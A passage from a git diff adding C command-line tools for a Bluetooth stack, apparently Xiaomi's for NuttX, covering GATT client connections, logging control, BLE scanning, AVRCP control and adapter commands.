conn_handle, gatt_status_t status, int32_t rssi) +{ + PRINT("gattc read rssi complete, status:%d, rssi:%" PRIi32, status, rssi); +} + +static void conn_param_updated_callback(void* conn_handle, bt_status_t status, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout) +{ + PRINT("gattc connection paramter updated, status:%d, interval:%" PRIu16 ", latency:%" PRIu16 ", timeout:%" PRIu16, + status, connection_interval, peripheral_latency, supervision_timeout); +} + +static gattc_callbacks_t gattc_cbs = { + sizeof(gattc_cbs), + connect_callback, + disconnect_callback, + discover_callback, + read_complete_callback, + write_complete_callback, + subscribe_complete_callback, + notify_received_callback, + mtu_updated_callback, + phy_read_callback, + phy_updated_callback, + rssi_read_callback, + conn_param_updated_callback, +}; + +static int create_cmd(void* handle, int argc, char* argv[]) +{ + int index; + + for (index = 0; index < GATTC_CONNECTION_MAX; index++) { + if (g_gattc_devies[index].handle == NULL) + break; + } + + if (index >= GATTC_CONNECTION_MAX) { + PRINT("No unused connection id"); + return CMD_OK; + } + + int* conn_id = (int*)malloc(sizeof(int)); + *conn_id = index; + if (bt_gattc_create_connect_async(handle, &g_gattc_devies[index].handle, &gattc_cbs, create_connect_cb, + conn_id) + != BT_STATUS_SUCCESS) { + free(conn_id); + return CMD_ERROR; + } + + return CMD_OK; +} + +static int delete_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + int* userdata = (int*)malloc(sizeof(int)); + *userdata = conn_id; + + if (bt_gattc_delete_connect_async(g_gattc_devies[conn_id].handle, delete_connect_cb, userdata) != BT_STATUS_SUCCESS) { + free(userdata); + return CMD_ERROR; + } + + return CMD_OK; +} + +int gattc_command_init_async(void* handle) +{ + memset(g_gattc_devies, 0, sizeof(g_gattc_devies)); + return 0; +} + +int gattc_command_uninit_async(void* handle) +{ + for (int i = 0; i < GATTC_CONNECTION_MAX; i++) { + if (g_gattc_devies[i].handle) { + bt_gattc_delete_connect_async(g_gattc_devies[i].handle, status_cb, NULL); + } + } + + return 0; +} + +int gattc_command_exec_async(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_gattc_async_tables, ARRAY_SIZE(g_gattc_async_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/async/log.c b/tools/async/log.c new file mode 100644 index 0000000000000000000000000000000000000000..0339636793cd7a42dc0d9159b85ba949cde65a53 --- /dev/null +++ b/tools/async/log.c @@ -0,0 +1,252 @@ +/**************************************************************************** + * + * Copyright (C) 2025 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#ifdef CONFIG_KVDB +#include "kvdb.h" +#endif + +#include "bt_debug.h" +#include "bt_tools.h" +#include "bt_trace.h" +#include "utils/btsnoop_log.h" + +static int enable_cmd(void* handle, int argc, char* argv[]); +static int disable_cmd(void* handle, int argc, char* argv[]); +static int mask_cmd(void* handle, int argc, char* argv[]); +static int filter_cmd(void* handle, int argc, char* argv[]); +static int unfilter_cmd(void* handle, int argc, char* argv[]); +static int unmask_cmd(void* handle, int argc, char* argv[]); +static int level_cmd(void* handle, int argc, char* argv[]); + +static bt_command_t g_log_async_tables[] = { + { "enable", enable_cmd, 0, "\"Enable param: (\"snoop\" or \"stack\")\"" }, + { "disable", disable_cmd, 0, "\"Disable param: (\"snoop\" or \"stack\")\"" }, + { "mask", mask_cmd, 0, "\"Enable Stack Profile & Protocol Log <bit>\"\n" + "\t\t\tExample enable HCI and L2CAP: \"bttool> log mask 1 4\" \n" + "\t\t\tProfile && Protocol Enum:\n" + "\t\t\t HCI: 1\n" + "\t\t\t HCI RAW PDU:2\n" + "\t\t\t L2CAP: 4\n" + "\t\t\t SDP: 5\n" + "\t\t\t ATT: 6\n" + "\t\t\t SMP: 7\n" + "\t\t\t RFCOMM:8\n" + "\t\t\t OBEX: 9\n" + "\t\t\t AVCTP: 10\n" + "\t\t\t AVDTP: 11\n" + "\t\t\t AVRCP: 12\n" + "\t\t\t HFP: 14\n" }, + { "unmask", unmask_cmd, 0, "\"Filter hci data <bit>\"" }, + { "filter", filter_cmd, 0, "\"Filter hci data written to btsnoop <bit>\"" + "\t\t\tData type Enum:\n" + "\t\t\tAudio data: 0\n" + "\t\t\tAVCTP browsing data: 1\n" + "\t\t\tATT data: 2\n" + "\t\t\tSPP data: 3\n" }, + { "unfilter", unfilter_cmd, 0, "\"Disable Stack Profile & Protocol Log <bit>\"" }, + { "level", level_cmd, 0, "\"Set framework log level, (OFF:0,ERR:3,WARN:4,INFO:6,DBG:7)\"" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_log_async_tables); i++) { + printf("\t%-8s\t%s\n", g_log_async_tables[i].cmd, g_log_async_tables[i].help); + } +} + +static void property_change_commit(int bit) +{ +#ifdef CONFIG_KVDB + property_set_int32("persist.bluetooth.log.changed", (1 << bit) & 0xFFFFFFFF); + property_commit(); +#endif +} + +static int log_control(void* handle, char* id, int enable) +{ +#ifdef CONFIG_KVDB + if (strncmp(id, "stack", strlen("stack")) == 0) { + property_set_int32("persist.bluetooth.log.stack_enable", enable); + property_change_commit(1); + } else if (strncmp(id, "snoop", strlen("snoop")) == 0) { + if (enable) + bluetooth_enable_btsnoop_log_async(handle, NULL, NULL); + else + bluetooth_disable_btsnoop_log_async(handle, NULL, NULL); + } else + return CMD_INVALID_PARAM; + + return CMD_OK; +#else + return CMD_ERROR; +#endif +} + +static int enable_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + return log_control(handle, argv[0], 1); +} + +static int disable_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + return log_control(handle, argv[0], 0); +} + +static int mask_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; +#ifdef CONFIG_KVDB + int mask = property_get_int32("persist.bluetooth.log.stack_mask", 0x0); + for (int i = 0; i < argc; i++) { + if (argv[i] != NULL) { + int bit = atoi(argv[i]); + if (bit < 0 || bit > 31) + return CMD_INVALID_PARAM; + + mask |= 1 << bit; + } + } + + property_set_int32("persist.bluetooth.log.stack_mask", mask); + property_change_commit(2); + + return CMD_OK; +#else + return CMD_ERROR; +#endif +} + +static int filter_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + for (int i = 0; i < argc; i++) { + if (argv[i] != NULL) { + int bit = atoi(argv[i]); + if (bit < 0 || bit >= BTSNOOP_FILTER_MAX) + return CMD_INVALID_PARAM; + + bluetooth_set_btsnoop_filter_async(handle, bit, NULL, NULL); + } + } + + return CMD_OK; +} + +static int unfilter_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + for (int i = 0; i < argc; i++) { + if (argv[i] != NULL) { + int bit = atoi(argv[i]); + if (bit < 0 || bit >= BTSNOOP_FILTER_MAX) + return CMD_INVALID_PARAM; + + bluetooth_remove_btsnoop_filter_async(handle, bit, NULL, NULL); + } + } + + return CMD_OK; +} + +static int unmask_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + +#ifdef CONFIG_KVDB + int mask = property_get_int32("persist.bluetooth.log.stack_mask", 0x0); + for (int i = 0; i < argc; i++) { + if (argv[i] != NULL) { + int bit = atoi(argv[i]); + if (bit < 0 || bit > 31) + return CMD_INVALID_PARAM; + + mask &= ~(1 << bit); + } + } + + property_set_int32("persist.bluetooth.log.stack_mask", mask); + property_change_commit(2); + + return CMD_OK; +#else + return CMD_ERROR; +#endif +} + +static int level_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int level = atoi(argv[0]); + if (level != 0 && level != LOG_ERR && level != LOG_WARNING && level != LOG_INFO && level != LOG_DEBUG) + return CMD_INVALID_PARAM; + +#ifdef CONFIG_KVDB + property_set_int32("persist.bluetooth.log.level", level); + property_change_commit(0); + + return CMD_OK; +#else + return CMD_ERROR; +#endif +} + +int log_command_async(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_log_async_tables, ARRAY_SIZE(g_log_async_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/async/scan.c b/tools/async/scan.c new file mode 100644 index 0000000000000000000000000000000000000000..ce6ff42a852c6dbc9ebef1466b2b3a0c699d0ae2 --- /dev/null +++ b/tools/async/scan.c @@ -0,0 +1,237 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <getopt.h> +#include <stdlib.h> +#include <string.h> + +#include "advertiser_data.h" +#include "bt_le_scan.h" +#include "bt_tools.h" + +#ifdef LOG_TAG +#undef LOG_TAG +#endif + +#define LOG_TAG "[bttool_async]" + +static int start_scan_cmd(void* handle, int argc, char* argv[]); +static int stop_scan_cmd(void* handle, int argc, char* argv[]); +static int dump_scan_cmd(void* handle, int argc, char* argv[]); + +static bt_scanner_t* g_scanner = NULL; + +static struct option scan_options[] = { + { "type", required_argument, 0, 't' }, + { "phy", required_argument, 0, 'p' }, + { "mode", required_argument, 0, 'm' }, + { "legacy", required_argument, 0, 'l' }, + { "filter", required_argument, 0, 'f' }, + { 0, 0, 0, 0 } +}; + +static bt_command_t g_scanner_async_tables[] = { + { "start", start_scan_cmd, 0, "start scan\n" + "\t -t or --type, le scan type (0: passive, 1: active)\n" + "\t -p or --phy, le scan phy (1M/2M/Coded)\n" + "\t -m or --mode, scan mode (0:low power mode, 1:balance mode, 2:low latency mode)\n" + "\t -l or --legacy, is legacy scan (1: true, 0: false)\n" + "\t -f or --filter, filter advertiser :<uuid>\n" }, + { "stop", stop_scan_cmd, 0, "stop scan" }, + { "dump", dump_scan_cmd, 0, "dump scan state" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_scanner_async_tables); i++) { + printf("\t%-4s\t%s\n", g_scanner_async_tables[i].cmd, g_scanner_async_tables[i].help); + } +} + +static void stop_scan_callback_cb(bt_instance_t* ins, void* userdata) +{ + if (g_scanner != userdata) + return; + + g_scanner = NULL; +} + +static void start_scan_callback_cb(bt_instance_t* ins, bt_status_t status, void* scan, void* userdata) +{ + if (!g_scanner) { + g_scanner = scan; + return; + } + + PRINT("%s, Repeated scan.", __func__); + + if (status == BT_STATUS_SUCCESS) { + bt_le_stop_scan_async(ins, g_scanner, stop_scan_callback_cb, g_scanner); + g_scanner = scan; + } + + return; +} + +static void on_scan_result_cb(bt_scanner_t* scanner, ble_scan_result_t* result) +{ + PRINT_ADDR("ScanResult ------[%s]------", &result->addr); + PRINT("AddrType:%d", result->addr_type); + PRINT("Rssi:%d", result->rssi); + PRINT("Type:%d", result->adv_type); + advertiser_data_dump((uint8_t*)result->adv_data, result->length, NULL); + PRINT("\n"); +} + +static void on_scan_start_status_cb(bt_scanner_t* scanner, uint8_t status) +{ + PRINT("%s, scanner:%p, status:%d", __func__, scanner, status); +} + +static void on_scan_stopped_cb(bt_scanner_t* scanner) +{ + PRINT("%s, scanner:%p", __func__, scanner); +} + +static const scanner_callbacks_t scanner_callbacks = { + sizeof(scanner_callbacks_t), + on_scan_result_cb, + on_scan_start_status_cb, + on_scan_stopped_cb +}; + +static int start_scan_cmd(void* handle, int argc, char* argv[]) +{ + int opt; + ble_scan_filter_t filter = {}; + ble_scan_settings_t settings = { BT_SCAN_MODE_LOW_POWER, 0, BT_LE_SCAN_TYPE_PASSIVE, BT_LE_1M_PHY, { 0 } }; + + if (g_scanner) + return CMD_ERROR; + + optind = 0; + while ((opt = getopt_long(argc, argv, "t:p:m:l:f:", scan_options, + NULL)) + != -1) { + switch (opt) { + case 't': { + int type = atoi(optarg); + if (type != 0 && type != 1) { + PRINT("Invalid type:%s", optarg); + return CMD_INVALID_OPT; + } + + settings.scan_type = type; + } break; + case 'p': { + if (strncmp(optarg, "1M", 2) == 0) + settings.scan_phy = BT_LE_1M_PHY; + else if (strncmp(optarg, "2M", 2) == 0) + settings.scan_phy = BT_LE_2M_PHY; + else if (strncmp(optarg, "Coded", 5) == 0) + settings.scan_phy = BT_LE_CODED_PHY; + else { + PRINT("Invalid scan phy:%s", optarg); + return CMD_INVALID_OPT; + } + } break; + case 'm': { + int scanmode = atoi(optarg); + if (scanmode == 0) + settings.scan_mode = BT_SCAN_MODE_LOW_POWER; + else if (scanmode == 1) + settings.scan_mode = BT_SCAN_MODE_BALANCED; + else if (scanmode == 2) + settings.scan_mode = BT_SCAN_MODE_LOW_LATENCY; + else { + PRINT("Invalid scan mode:%s", optarg); + return CMD_INVALID_OPT; + } + } break; + case 'l': { + int legacy = atoi(optarg); + if (legacy != 0 && legacy != 1) { + PRINT("Invalid legacy:%s", optarg); + return CMD_INVALID_OPT; + } + + settings.legacy = legacy; + } break; + case 'f': { + uint16_t uuid = atoi(optarg); + PRINT("uuid: 0x%02x ", uuid); + filter.active = true; + filter.uuids[0] = uuid; + } break; + default: + break; + } + } + + if (optind >= 1) { + if (filter.active) { + bt_le_start_scan_with_filters_async(handle, &settings, &filter, &scanner_callbacks, start_scan_callback_cb, g_scanner); + } else + bt_le_start_scan_settings_async(handle, &settings, &scanner_callbacks, start_scan_callback_cb, g_scanner); + } else { + bt_le_start_scan_async(handle, &scanner_callbacks, start_scan_callback_cb, g_scanner); + } + + return CMD_OK; +} + +static int stop_scan_cmd(void* handle, int argc, char* argv[]) +{ + if (!g_scanner) + return CMD_ERROR; + + bt_le_stop_scan_async(handle, g_scanner, stop_scan_callback_cb, g_scanner); + + return CMD_OK; +} + +static int dump_scan_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +int scan_command_init_async(void* handle) +{ + g_scanner = NULL; + return 0; +} + +void scan_command_uninit_async(void* handle) +{ + g_scanner = NULL; +} + +int scan_command_exec_async(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table_offset(handle, g_scanner_async_tables, + ARRAY_SIZE(g_scanner_async_tables), + argc, argv, 0); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/avrcp_control.c b/tools/avrcp_control.c new file mode 100644 index 0000000000000000000000000000000000000000..9681c492bb201704e3a763f6bd82841ba0984e8f --- /dev/null +++ b/tools/avrcp_control.c @@ -0,0 +1,238 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_avrcp_control.h" +#include "bt_tools.h" + +static int getattrs_cmd(void* handle, int argc, char* argv[]); +static int send_passthrough_cmd(void* handle, int argc, char* argv[]); +static int get_unit_info(void* handle, int argc, char* argv[]); +static int get_subunit_info(void* handle, int argc, char* argv[]); +static int get_playback_state(void* handle, int argc, char* argv[]); +static int register_notification(void* handle, int argc, char* argv[]); + +static bt_command_t g_avrcp_control_tables[] = { + { "getattrs", getattrs_cmd, 0, "\"get element attributes from the peer device, params: <address>\"" }, + { "sendpassthrough", send_passthrough_cmd, 0, "\"send passthrough command to the peer device, params: <address> <command> <operation>(0:press, 1:release)\"" }, + { "getunitinfo", get_unit_info, 0, "\"get unit info from the peer device, params: <address>\"" }, + { "getsubunitinfo", get_subunit_info, 0, "\"get subunit info from the peer device, params: <address>\"" }, + { "getplaybackstate", get_playback_state, 0, "\"get playback state from the peer device, params: <address>\"" }, + { "register", register_notification, 0, "\"register notification to the peer device, params: <address> <event> <interval>\"" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_avrcp_control_tables); i++) { + printf("\t%-8s\t%s\n", g_avrcp_control_tables[i].cmd, g_avrcp_control_tables[i].help); + } +} + +static void* control_cbks_cookie = NULL; + +static void avrcp_control_connection_state_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + PRINT_ADDR("avrcp_control_connection_state_cb, addr:%s, state:%d", addr, state); +} + +static void avrcp_control_get_element_attribute_cb(void* cookie, bt_address_t* addr, uint8_t attrs_count, avrcp_element_attr_val_t* attrs) +{ + PRINT_ADDR("avrcp_control_get_element_attribute_cb, addr:%s, count:%d", addr, attrs_count); + for (int i = 0; i < attrs_count; i++) { + switch (attrs[i].attr_id) { + case AVRCP_ATTR_TITLE: + printf("title:%s, charsetID:%d\n", attrs[i].text, attrs[i].chr_set); + break; + case AVRCP_ATTR_ARTIST_NAME: + printf("artist:%s, charsetID:%d\n", attrs[i].text, attrs[i].chr_set); + break; + case AVRCP_ATTR_ALBUM_NAME: + printf("album:%s, charsetID:%d\n", attrs[i].text, attrs[i].chr_set); + break; + case AVRCP_ATTR_TRACK_NUMBER: + printf("track number:%s, charsetID:%d\n", attrs[i].text, attrs[i].chr_set); + break; + case AVRCP_ATTR_TOTAL_NUMBER_OF_TRACKS: + printf("total track number:%s, charsetID:%d\n", attrs[i].text, attrs[i].chr_set); + break; + case AVRCP_ATTR_GENRE: + printf("genre:%s, charsetID:%d\n", attrs[i].text, attrs[i].chr_set); + break; + case AVRCP_ATTR_PLAYING_TIME_MS: + printf("playing time:%s, charsetID:%d\n", attrs[i].text, attrs[i].chr_set); + break; + case AVRCP_ATTR_COVER_ART_HANDLE: + printf("cover art handle:%s, charsetID:%d\n", attrs[i].text, attrs[i].chr_set); + break; + default: + break; + } + } +} + +static const avrcp_control_callbacks_t avrcp_control_cbs = { + sizeof(avrcp_control_cbs), + avrcp_control_connection_state_cb, + avrcp_control_get_element_attribute_cb, +}; + +int avrcp_control_commond_init(void* handle) +{ + control_cbks_cookie = bt_avrcp_control_register_callbacks(handle, &avrcp_control_cbs); + + return 0; +} + +int avrcp_control_commond_uninit(void* handle) +{ + bt_avrcp_control_unregister_callbacks(handle, control_cbks_cookie); + + return 0; +} + +int avrcp_control_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_avrcp_control_tables, ARRAY_SIZE(g_avrcp_control_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} + +static int getattrs_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_avrcp_control_get_element_attributes(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int send_passthrough_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int cmd = atoi(argv[1]); + if (cmd > PASSTHROUGH_CMD_ID_RESERVED || cmd < 0) { + return CMD_INVALID_PARAM; + } + + int op = atoi(argv[2]); + if (op != 0 && op != 1) { + return CMD_INVALID_PARAM; + } + + switch (op) { + case 0: + if (bt_avrcp_control_send_passthrough_cmd(handle, &addr, cmd, 0) != BT_STATUS_SUCCESS) + return CMD_ERROR; + break; + case 1: + if (bt_avrcp_control_send_passthrough_cmd(handle, &addr, cmd, 1) != BT_STATUS_SUCCESS) + return CMD_ERROR; + break; + default: + break; + } + + return CMD_OK; +} + +static int get_unit_info(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_avrcp_control_get_unit_info(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_subunit_info(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_avrcp_control_get_subunit_info(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_playback_state(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_avrcp_control_get_playback_state(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int register_notification(void* handle, int argc, char* argv[]) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int event = atoi(argv[1]); + int interval = atoi(argv[2]); + + if (bt_avrcp_control_register_notification(handle, &addr, event, interval) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} \ No newline at end of file diff --git a/tools/bt_tools.c b/tools/bt_tools.c new file mode 100644 index 0000000000000000000000000000000000000000..d720f74a38b795ddfaa7c4519d481000969eb1b0 --- /dev/null +++ b/tools/bt_tools.c @@ -0,0 +1,2104 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <signal.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#if defined(__NuttX__) +#include <system/readline.h> +#endif + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_tools.h" +#include "utils.h" + +static void usage(void); +static int usage_cmd(void* handle, int argc, char** argv); +static int enable_cmd(void* handle, int argc, char** argv); +static int disable_cmd(void* handle, int argc, char** argv); +static int discovery_cmd(void* handle, int argc, char** argv); +static int get_state_cmd(void* handle, int argc, char** argv); +static int set_adapter_cmd(void* handle, int argc, char** argv); +static int get_adapter_cmd(void* handle, int argc, char** argv); +static int set_scanmode_cmd(void* handle, int argc, char** argv); +static int get_scanmode_cmd(void* handle, int argc, char** argv); +static int set_iocap_cmd(void* handle, int argc, char** argv); +static int set_le_iocap_cmd(void* handle, int argc, char** argv); +static int get_iocap_cmd(void* handle, int argc, char** argv); +static int get_le_iocap_cmd(void* handle, int argc, char** argv); +static int get_local_addr_cmd(void* handle, int argc, char** argv); +static int get_appearance_cmd(void* handle, int argc, char** argv); +static int set_appearance_cmd(void* handle, int argc, char** argv); +static int set_le_addr_cmd(void* handle, int argc, char** argv); +static int set_bondable_le_cmd(void* handle, int argc, char** argv); +static int set_security_level_cmd(void* handle, int argc, char** argv); +static int get_le_addr_cmd(void* handle, int argc, char** argv); +static int set_identity_addr_cmd(void* handle, int argc, char** argv); +static int set_scan_parameters_cmd(void* handle, int argc, char** argv); +static int set_debug_mode_cmd(void* handle, int argc, char** argv); +static int get_local_name_cmd(void* handle, int argc, char** argv); +static int set_local_name_cmd(void* handle, int argc, char** argv); +static int get_local_cod_cmd(void* handle, int argc, char** argv); +static int set_local_cod_cmd(void* handle, int argc, char** argv); +static int pair_cmd(void* handle, int argc, char** argv); +static int pair_set_auto_cmd(void* handle, int argc, char** argv); +static int pair_reply_cmd(void* handle, int argc, char** argv); +static int pair_set_pincode_cmd(void* handle, int argc, char** argv); +static int pair_set_passkey_cmd(void* handle, int argc, char** argv); +static int pair_set_confirm_cmd(void* handle, int argc, char** argv); +static int pair_set_tk_cmd(void* handle, int argc, char** argv); +static int pair_set_oob_cmd(void* handle, int argc, char** argv); +static int pair_get_oob_cmd(void* handle, int argc, char** argv); +static int connect_cmd(void* handle, int argc, char** argv); +static int disconnect_cmd(void* handle, int argc, char** argv); +static int le_connect_cmd(void* handle, int argc, char** argv); +static int le_disconnect_cmd(void* handle, int argc, char** argv); +static int create_bond_cmd(void* handle, int argc, char** argv); +static int cancel_bond_cmd(void* handle, int argc, char** argv); +static int remove_bond_cmd(void* handle, int argc, char** argv); +static int device_show_cmd(void* handle, int argc, char** argv); +static int device_set_alias_cmd(void* handle, int argc, char** argv); +static int get_bonded_devices_cmd(void* handle, int argc, char** argv); +static int get_connected_devices_cmd(void* handle, int argc, char** argv); +static int search_cmd(void* handle, int argc, char** argv); +static int start_service_cmd(void* handle, int argc, char** argv); +static int stop_service_cmd(void* handle, int argc, char** argv); +static int set_phy_cmd(void* handle, int argc, char** argv); +static int dump_cmd(void* handle, int argc, char** argv); +static int quit_cmd(void* handle, int argc, char** argv); + +bt_instance_t* g_bttool_ins = NULL; +static void* adapter_callback = NULL; +static bool g_cmd_had_inited = false; +bool g_auto_accept_pair = true; +bond_state_t g_bond_state = BOND_STATE_NONE; + +static struct { + int cmd_err_code; + const char* cmd_err_code_desc; +} cmd_err_map[] = { + { CMD_OK, "OK" }, + { CMD_INVALID_PARAM, "Invalid Parameter" }, + { CMD_INVALID_OPT, "Invalid Option" }, + { CMD_INVALID_ADDR, "Invalid Address" }, + { CMD_PARAM_NOT_ENOUGH, "Parameter Not Enough" }, + { CMD_UNKNOWN, "Unknown Command" }, + { CMD_USAGE_FAULT, "Command Usage Fault" }, + { CMD_ERROR, "API Return Error" }, +}; + +static struct option main_options[] = { + { "async", 0, 0, 'a' }, + { "help", 0, 0, 'h' }, + { "version", 0, 0, 'v' }, + { 0, 0, 0, 0 } +}; + +static struct option le_conn_options[] = { + { "addr", required_argument, 0, 'a' }, + { "type", required_argument, 0, 't' }, + { "defaults", no_argument, 0, 'd' }, + { "filter", required_argument, 0, 'f' }, + { "phy", required_argument, 0, 'p' }, + { "latency", required_argument, 0, 'l' }, + { "conn_interval_min", required_argument, 0, 0 }, + { "conn_interval_max", required_argument, 0, 0 }, + { "timeout", required_argument, 0, 'T' }, + { "scan_interval", required_argument, 0, 0 }, + { "scan_window", required_argument, 0, 0 }, + { "min_ce_length", required_argument, 0, 0 }, + { "max_ce_length", required_argument, 0, 0 }, + { "help", no_argument, 0, 'h' }, + { 0, 0, 0, 0 } +}; + +#define LE_CONN_USAGE "\n" \ + "\t -a or --addr, peer le device address\n" \ + "\t -t or --type, peer le device address type, address type(0:public,1:random,2:public_id,3:random_id)\n" \ + "\t -d or --default, use default parameter\n" \ + "\t -f or --filter, connection filter policy, (0:addr,1:whitelist)\n" \ + "\t -p or --phy, init phy type, (0:1M,1:2M,2:Coded)\n" \ + "\t -l or --latency, connection latency Range: 0x0000 to 0x01F3\n" \ + "\t --conn_interval_min, Range: 0x0006 to 0x0C80\n" \ + "\t --conn_interval_max, Range: 0x0006 to 0x0C80\n" \ + "\t -T or --timeout, supervision timeout Range: 0x000A to 0x0C80\n" \ + "\t --scan_interval, Range: 0x0004 to 0x4000\n" \ + "\t --scan_window, Range: 0x0004 to 0x4000\n" \ + "\t --min_ce_length, Range: 